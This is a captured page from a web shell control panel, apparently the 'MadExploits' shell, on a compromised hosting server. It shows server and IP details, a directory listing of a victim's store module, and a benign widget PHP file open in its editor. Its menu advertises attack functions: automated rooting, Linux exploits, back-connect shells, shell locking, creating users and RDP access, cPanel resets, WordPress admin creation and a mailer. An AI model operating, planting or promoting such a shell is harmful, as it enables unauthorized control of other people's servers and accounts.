Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
newmed /
modules /
spelements /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Cache
[ DIR ]
drwx---r-x
Install
[ DIR ]
drwx---r-x
WidgetCache.php
446
B
-rw----r--
WidgetCategoryBase.php
2.39
KB
-rw----r--
WidgetHelper.php
3.94
KB
-rw----r--
WidgetProductBase.php
14.85
KB
-rw----r--
WidgetTemplate.php
1.76
KB
-rw----r--
WidgetViewBase.php
32.68
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WidgetTemplate.php
<?php /** * Magentech Widgets * * @package Magentech * @version 1.0.0 * @author Magentech.Com * @copyright Copyright Ⓒ Since 2011 magentech.Com <@email:support@magentech.Com> * @license You only can use the module, nothing more! */ namespace Magentech\Module\Spelements; use Context; use Spelements; class WidgetTemplate { private $smarty; public $templates; public function __construct() { $this->smarty = Context::getContext()->smarty; $this->module = new Spelements; $this->templates = [ 'heading' => "module:{$this->module->name}/views/templates/_partials/heading.tpl", 'wrapper' => "module:{$this->module->name}/views/templates/_partials/wrapper.tpl", 'nowrapper' => "module:{$this->module->name}/views/templates/_partials/nowrapper.tpl", 'widget' => "module:{$this->module->name}/views/templates/%s.tpl", ]; } public function echoWidget(string $template = null, $wrapper = true) { if ($template !== null) { echo $this->module->fetch($template); } else { if ($wrapper) { echo $this->module->fetch($this->templates['wrapper']); } else { echo $this->module->fetch($this->templates['nowrapper']); } } } public function getTemplate($widget) { return $this->module->fetch($this->getTemplateFile($widget)); } public function getTemplateFile($widget) { return sprintf($this->templates['widget'], $widget); } public function getHeading($title = null) { $this->smarty->assign(['title' => $title]); return $this->module->fetch($this->templates['heading']); } }
Close